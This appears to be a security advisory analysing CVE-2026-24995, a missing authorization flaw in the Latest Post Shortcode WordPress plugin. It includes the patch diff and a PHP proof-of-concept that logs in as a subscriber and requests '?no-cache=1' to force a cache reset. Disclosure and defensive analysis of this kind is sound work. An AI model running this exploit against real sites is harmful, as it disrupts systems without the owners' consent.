Atomic Edge analysis of CVE-2026-24995:
The Latest Post Shortcode WordPress plugin, versions up to and including 14.2.0, contains a missing authorization vulnerability. The plugin’s cache reset functionality lacks a capability check, allowing any authenticated user, including those with the low-privilege Subscriber role, to trigger the action. This flaw violates the principle of least privilege and provides unauthorized access to a plugin administrative function.
Atomic Edge research identifies the root cause in the `lps_reset_cache` method within the main plugin file `latest-post-shortcode.php`. The function at line 904 checks for the presence of a `no-cache` GET parameter but performs no verification of the requesting user’s permissions. The function `execute_lps_cache_reset` is called directly, clearing the plugin’s cached data. The vulnerable code path is accessible via a simple HTTP GET request to any page where the plugin is active, as the method hooks into WordPress’s `wp_loaded` action.
An attacker exploits this vulnerability by sending an authenticated HTTP GET request containing the `no-cache` parameter. The attack vector does not require a specific endpoint; the request can be sent to any front-end or admin page. The payload is the query string `?no-cache=1`. Any authenticated user, regardless of role, can trigger the cache reset, causing a denial-of-service condition for the plugin’s performance features and potentially disrupting site functionality that relies on cached post data.
The patch in version 14.2.1 adds a comprehensive authorization check. The updated `lps_reset_cache` function now validates a nonce (`lps-modal-actions`), confirms the user is logged in, and checks that the user possesses at least the Contributor role. The fix introduces a `verify` GET parameter for the nonce check. The patch also updates the JavaScript localization in `assets.php` to include this nonce, ensuring legitimate admin UI requests remain functional. Before the patch, the function executed unconditionally. After the patch, execution requires a valid nonce and a user role of Contributor, Author, Editor, or Administrator.
Successful exploitation allows low-privileged attackers to perform an administrative action. The immediate impact is a denial-of-service condition where the plugin’s cache is forcibly cleared, potentially degrading site performance. Repeated exploitation could cause resource consumption. While the action does not directly lead to data compromise or code execution, it represents a clear integrity violation where unauthorized users can alter plugin state and affect site behavior.
--- a/latest-post-shortcode/incs/assets.php
+++ b/latest-post-shortcode/incs/assets.php
@@ -21,7 +21,26 @@
* Returns the assets version to be used.
*/
function ver() {
- return 'lpsv' . LPS_PLUGIN_VERSION . get_option( 'lps_asset_version', LPS_PLUGIN_VERSION );
+ static $lps_assets_ver;
+
+ if ( ! isset( $lps_assets_ver ) ) {
+ $glob = glob( LPS_PLUGIN_DIR . 'lps-block/build/*.php' );
+ if ( $glob ) {
+ $list = '';
+ foreach ( $glob as $file ) {
+ $assets = require $file;
+ $list .= $assets['version'] ?? time();
+ }
+
+ $lps_assets_ver = md5( $list );
+ }
+
+ if ( empty( $lps_assets_ver ) ) {
+ $lps_assets_ver = get_option( 'lps_asset_version', LPS_PLUGIN_VERSION );
+ }
+ }
+
+ return 'lpsv' . LPS_PLUGIN_VERSION . $lps_assets_ver;
}
/**
@@ -127,17 +146,14 @@
ver(),
false
);
- wp_localize_script(
- 'lps-admin-shortcode-button',
- 'lpsGenVars',
- [
- 'ajaxUrl' => admin_url( 'admin-ajax.php' ),
- 'icon' => LPS_PLUGIN_URL . 'assets/images/icon-purple.svg',
- 'title' => esc_html__( 'Latest Post Shortcode', 'lps' ),
- 'outputTypes' => implode( ' ', array_filter( array_keys( $lps::get_card_output_types() ) ) ),
- 'allowIcon' => $lps::allow_icon_for_roles(),
- ]
- );
+ wp_localize_script( 'lps-admin-shortcode-button', 'lpsGenVars', [
+ 'ajaxUrl' => admin_url( 'admin-ajax.php' ),
+ 'verify' => wp_create_nonce( 'lps-modal-actions' ),
+ 'icon' => LPS_PLUGIN_URL . 'assets/images/icon-purple.svg',
+ 'title' => esc_html__( 'Latest Post Shortcode', 'lps' ),
+ 'outputTypes' => implode( ' ', array_filter( array_keys( $lps::get_card_output_types() ) ) ),
+ 'allowIcon' => $lps::allow_icon_for_roles(),
+ ] );
wp_enqueue_script( 'lps-admin-shortcode-button' );
}
}
--- a/latest-post-shortcode/incs/parts/tabs5.php
+++ b/latest-post-shortcode/incs/parts/tabs5.php
@@ -279,7 +279,7 @@
<div class="row">
<label for="lps_color_bg"><?php esc_html_e( 'background', 'lps' ); ?></label>
<div class="lps-color-wrapper">
- <input type="text" name="lps_color_bg" id="lps_color_bg" onchange="lpsRefresh()" onkeyup="lpsRefresh()" placeholder="<?php esc_attr_e( 'inherit', 'lps' ); ?>" size="32">
+ <input type="text" name="lps_color_bg" id="lps_color_bg" onchange="lpsRefresh(); lpsStyleHelper()" onkeyup="lpsRefresh()" placeholder="<?php esc_attr_e( 'inherit', 'lps' ); ?>" size="32">
<input type="color" id="lps_color_bg_field" onchange="lpsRefreshColor(this)">
<button onclick="lpsResetColor('bg')" onkeyup="lpsResetColor('bg')" aria-label="<?php esc_html_e( 'Reset', 'lps' ); ?>"></button>
</div>
--- a/latest-post-shortcode/latest-post-shortcode.php
+++ b/latest-post-shortcode/latest-post-shortcode.php
@@ -5,7 +5,7 @@
* Description: This plugin allows you to display a dynamic content selection from your posts and pages. This can be embedded as a shortcode, as a Gutenberg block, or as an Elementor widget.
* Text Domain: lps
* Domain Path: /langs
- * Version: 14.2.0
+ * Version: 14.2.1
* Author: Iulia Cazan
* Author URI: https://profiles.wordpress.org/iulia-cazan
* Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=JJA37EHZXWUTJ
@@ -13,7 +13,7 @@
*
* @package LPS
*
- * Copyright (C) 2015-2025 Iulia Cazan
+ * Copyright (C) 2015-2026 Iulia Cazan
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License, version 2, as
@@ -30,7 +30,7 @@
*/
// Define the plugin version.
-define( 'LPS_PLUGIN_VERSION', 14.20 );
+define( 'LPS_PLUGIN_VERSION', 14.21 );
define( 'LPS_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'LPS_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'LPS_PLUGIN_SLUG', 'lps' );
@@ -904,8 +904,18 @@
public static function lps_reset_cache() {
$get = filter_input( INPUT_GET, 'no-cache', FILTER_DEFAULT );
if ( ! empty( $get ) ) {
- self::execute_lps_cache_reset();
- echo 'OK';
+ $verify = filter_input( INPUT_GET, 'verify', FILTER_DEFAULT );
+ if ( wp_verify_nonce( $verify, 'lps-modal-actions' ) && is_user_logged_in() ) {
+ $user = wp_get_current_user();
+ $match = array_intersect( [ 'administrator', 'editor', 'author', 'contributor' ], $user->roles ?? [] );
+ if ( ! empty( $match ) ) {
+ self::execute_lps_cache_reset();
+ echo 'OK';
+ die();
+ }
+ }
+
+ echo 'Not OK';
die();
}
}
--- a/latest-post-shortcode/lps-block/build/filters.asset.php
+++ b/latest-post-shortcode/lps-block/build/filters.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '38f599f39c2e558a722f');
+<?php return array('dependencies' => array(), 'version' => '9fadcbd3daf2df607360');
--- a/latest-post-shortcode/lps-block/build/masonry.asset.php
+++ b/latest-post-shortcode/lps-block/build/masonry.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '75ea1044188d601452b5');
+<?php return array('dependencies' => array(), 'version' => 'ba784518f9912439d12b');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24995 - Latest Post Shortcode <= 14.2.0 - Missing Authorization
<?php
$target_url = 'https://vulnerable-wordpress-site.com/';
$username = 'subscriber';
$password = 'password';
// Step 1: Authenticate to obtain session cookies
$login_url = $target_url . 'wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Get the login page to retrieve the nonce (log in to WordPress)
$response = curl_exec($ch);
// Prepare POST data for authentication
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . 'wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
// Execute login
$response = curl_exec($ch);
// Step 2: Exploit the missing authorization by triggering cache reset
// The vulnerable parameter 'no-cache' can be sent to any page.
$exploit_url = $target_url . '?no-cache=1';
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, '');
$response = curl_exec($ch);
curl_close($ch);
// Check for successful exploitation
if (trim($response) === 'OK') {
echo "[+] Cache reset successfully triggered. Vulnerability confirmed.n";
} else {
echo "[-] Exploit may have failed. Response: " . htmlspecialchars($response) . "n";
}
?>